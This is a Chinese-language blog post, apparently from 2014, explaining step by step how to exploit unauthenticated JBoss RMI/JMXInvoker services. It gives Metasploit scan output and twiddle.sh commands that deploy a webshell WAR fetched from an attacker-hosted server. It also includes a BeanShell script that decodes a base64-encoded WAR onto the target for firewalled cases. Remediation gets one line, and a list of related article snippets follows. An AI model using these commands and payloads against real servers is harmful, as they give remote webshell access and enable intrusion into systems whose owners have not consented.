JBoss远程方法调用漏洞利用详解

标签: Web应用漏洞 JBoss JBoss漏洞 Jboss远程调用漏洞 metasploit | 发表时间:2014-01-17 16:19 | 作者:admin
出处:http://www.nxadmin.com

早上起床打开微博看到空虚浪子心大神发的一篇有关Jboss漏洞的文章,对我等菜鸟来说那边文章看起来还是很吃力的,所以查了查国内外的资料,翻译写了这边文章,记录一下。

在JBoss服务器上部署web应用程序,有很多不同的方式,诸如:JMX Console、Remote Method Invocation(RMI)、JMXInvokerServlet、HttpAdapter等。

本文主要是关于RMI远程方法调用漏洞的,其它几种部署方式比如JMX Console,也是会有漏洞的,主要看JBoss服务器的配置是否正确严谨。之前也有一篇关于JMX Console漏洞利用的。有兴趣可以在本站搜索一下,言归正传:

Metasploit有很多的模块针对不同的JBOSS漏洞,其中有 jboss_vulnscan模块,路径为:auxiliary/scanner/http/jboss_vulnscan, 通过该模块可以进行JBoss服务器漏洞扫描,可以探测是否有开放4444,1098,1099端口。当然也可以使用Nmap批量扫描某个网段是否有开放1099,1098或4444端口。如下:

[+] 192.168.0.35:443 /invoker/JMXInvokerServlet does not require authentication (200)

[*] 192.168.0.35:443 Checking services...

[*] 192.168.0.35:443 Naming Service tcp/1098: open

[*] 192.168.0.35:443 Naming Service tcp/1099: open

[*] 192.168.0.35:443 RMI invoker tcp/4444: open

可以看到RMI默认端口4444是开启的,JNDI(Java Naming and Directory Interface)默认端口也是1098,1099也是开启的。有关JNDI的解释可以百度。

为了和远程目标JBoss服务器进行交互,需要在本地安装Jboss AS(如:JBoss – 4.2.3.GA ),使用其中bin目录下的twiddle和Jboss进行交互,在linux下使用用twiddle.sh,在windows下使用twiddle.bat,如下:

$ sh jboss-4.2.3.GA/bin/twiddle.sh -h
A JMX client to ’twiddle’ with a remote JBoss server.
usage: twiddle.sh [options] <command> [command_arguments]
options:
 -h, --help                   Show this help message
 --help-commands          Show a list of commands
-H=<command>                 Show command specific help
-c=command.properties            Specify the command.properties file to use
-D<name>[=<value>]               Set a system property
--                               Stop procession options
-s, --server=<url>               The JNDI URL of the remote server
-a, --adapter=<name>             The JNDI name of the RMI adapter to user
-u, --user=<name>                Specify the username for authentication
-p, --password=<name>            Specify the password for authentication
-q, --quiet                      Be somewhat more quiet

获取远程目标JBoss服务器的系统信息,用如下命令:

root@bt:/pentest/web/jboss/jboss-4.2.1.GA/bin# ./twiddle.sh -s 192.168.0.35 get "jboss.system:type=ServerInfo"
HostAddress=192.168.0.35
......
JavaVersion=1.5.0_13
MaxMemory=266600448

为了获取更高的权限,可以给JBoss服务器部署我们的webshell,创建一个war文件,可以使用Myeclipse来构建一个包含webshell的war,方法如下:

1、打开Myeclipse新建Web项目
2、把jsp放到WebRoot目录下
3、导出项目为war文件

Jboss RMI远程调用漏洞

构建好包含webshell的war之后,可以使用twiddle将该war部署的目标jboss服务器上,首先需要将war放到一个web服务器,可以使用twistd快速搭建一个web,如下:

root@bt:/pentest/web/jboss/fns# ls

getshell.war

root@bt:/pentest/web/jboss/fns# twistd -n --path=. --port=80

部署war到Jboss服务器,命令如下:

root@bt:/pentest/web/jboss/jboss-4.2.1.GA/bin# ./twiddle.sh -s 192.168.0.35 invoke "jboss.system:service=MainDeployer" deploy http://10.0.1.50/getshell.war

执行之后就会在jboss服务器上部署好我们的webshell,路径为:

http://192.168.0.35/getshell/customize.jsp

以上是一个使用RMI远程方法调用漏洞入侵Jboss服务器的过程,以上的过程也是有前提条件的,最主要的是Jboss服务器需要允许访问远程的HTTP服务器,否则利用RMI是没有办法进行部署远程war到JBOSS服务器。

然而在很多配置中,防火墙不允许JBoss服务器对外发出连接请求,如果遇到有防火墙的这种情况,可以使用BSHDeployer在目标Jboss服务器上执行任意的Beanshell来部署webshell。

BeanShell是一种运行在JRE上的脚本语言,该语言支持常规的Java语法。可以很快写完,并且不需要编译,JBoss服务器中BSHDeployer可以部署BeanShell脚本,它会安装后自动执行。具体的步骤如下:

1,按照前文提到的方法,创建好包含jspshell的shell.war;
2,用linux下的base64命令生成shell.war的base64的表示,命令如下:

root@bt:~#base64 -w 0 shell.war>>shell.war.base64

3,创建beanshell脚本,创建一个txt文档,无需任何换行符,保存以下内容到该txt:

import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="shell.war的base64表示"; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream("/temp/shell.war"); fs,write(byteval); fs.close();

其中val变量中是shell.war文件的base64表示,如果目标Jboss服务器是windows的话目录修改如:C:\WINDOWS\TEMP\shell.war,将txt重命名为:.bsh文件

4,使用前文中的bin/twiddle.sh工具将本地.bsh文件创建到远程jboss服务器上,命令如下:

$ ./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat deployer.bsh‘" deployer.bsh

该命令执行完成之后会在远程Jboss服务器生成shell.war,目录为/temp/shell.war

5,然后继续使用twiddle.sh将Jboss服务器上的shell.war进行部署,命令如下:

$ ./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "/temp/shell.war"

目标Jboss服务器为windows的话命令如下:

$./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "file:C:/WINDOWS/TEMP/shell.war"

这样就会就会将shell.war部署在目标jboss服务器上,其中有我们的jspshell,接下来你们懂的!

Jboss远程方法调用漏洞修复建议引用空虚浪子心大婶的文章内容:

把invoker删除了,再把1099关闭就好。

PS:本文由阿德马童鞋翻译查找总结,转载请注明出处,TKS!有部分不准确的地方也欢迎拍砖。

相关 [jboss 方法 漏洞利用] 推荐:

JBoss远程方法调用漏洞利用详解

- - 牛X阿德马
早上起床打开微博看到空虚浪子心大神发的一篇有关Jboss漏洞的文章,对我等菜鸟来说那边文章看起来还是很吃力的,所以查了查国内外的资料,翻译写了这边文章,记录一下. 在JBoss服务器上部署web应用程序,有很多不同的方式,诸如:JMX Console、Remote Method Invocation(RMI)、JMXInvokerServlet、HttpAdapter等.

[译]jboss漏洞利用

- - 互联网 - ITeye博客
原文地址:http://resources.infosecinstitute.com/jboss-exploitation/. JBoss Application Server是一个基于Jave EE的web应用服务器. 如果Jboss没有正确配置,它会允许攻击者进行各种恶意攻击. 由于JMX console可以通过端口8080远程访问,攻击者和恶意用户可以通过使用Jboss console中的DeploymentScanner功能部署他们自己的WAR(web archive)文件或shell脚本.

\(^_^)/ Jboss资料

- - 编程语言 - ITeye博客
官网: http://www.jboss.org/. 下载: http://www.jboss.org/jbossas/downloads/. Jboss博客: http://jbosscn.iteye.com/. 中赢网Jboss: http://www.chinawin.net/tag/jboss/.

JBoss发布Hibernate 4.0

- - InfoQ cn
近日, JBoss发布了流行的对象/关系(O/R)映射框架 Hibernate. Hibernate 4主要的新特性如下所示:. 引入了“Services”API. 提供了更棒的日志,支持 i18n与消息编码(通过JBoss Logging而非 slf4j). 为 OSGi支持做好了准备.

JBoss AS 7性能调优(四)

- - CSDN博客系统运维推荐文章
 原文: http://www.mastertheboss.com/jboss-performance/jboss-as-7-performance-tuning/page-5. 记录日志是每一个应用程序的一个重要任务,默认的配置一般只适合开发,但不适用于生产环境. 您切换到生产环境时需要考虑的关键要素是:.

JBoss AS 7性能调优(二)

- - CSDN博客系统运维推荐文章
建立与DBMS的JDBC连接过程可能是相当缓慢的. 如果您的应用程序需要反复打开和关闭数据库连接,这可以成为一个显著的性能问题. 在JBoss AS中数据源的连接池提供了一种有效的解决该问题的方法. 要强调的是,当客户端关闭一个数据源的连接时,该连接返回到池中,这样可用于其它的客户端,因此,连接本身并没有关闭.

JBoss AS 7性能调优 (一)

- - CSDN博客系统运维推荐文章
原文: http://www.mastertheboss.com/jboss-performance/jboss-as-7-performance-tuning. 虽然许多架构师和软件工程师都同意,约70-80%的应用程序的性能取决于应用程序本身的编码,配置不当的服务器环境可以显著影响你的用户体验,并最终影响到你的应用程序性能.

JBoss AS 7性能调优(三)

- - CSDN博客系统运维推荐文章
原文: http://www.mastertheboss.com/jboss-performance/jboss-as-7-performance-tuning/page-4. 还有很多需要调优的地方最终影响Web服务器的性能,其中一个最重要的因素是调优HTTP线程池设置,以匹配web请求的负载.

JBoss 系列五十:使用Apache httpd(mod_jk)和JBoss构架高可用集群环境

- - CSDN博客架构设计推荐文章
前面 JBoss 系列二:使用Apache httpd(mod_cluster)和JBoss构架高可用集群环境中我们介绍了企业应用的目的的目的,负载均衡,容错等,并通过Apache httpd(mod_cluster)和JBoss构架高可用集群环境,我们这里在原有的环境中将mod_cluster换成mod_jk,其架构如下图所示:.

D-link路由器CSRF漏洞利用详解

- - 牛X阿德马
本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞为例. D-link的CSRF漏洞已经是公开的,本文将详细描述一下整个D-link CSRF漏洞的利用,如何通过CSRF漏洞实现远程管理访问D-link路由器. 如果某些request请求中没有csrf  token或不需要密码授权,会存在CSRF漏洞,该漏洞允许攻击者伪造登录用户发送请求,因此可以导致用户执行攻击者想要的操作请求.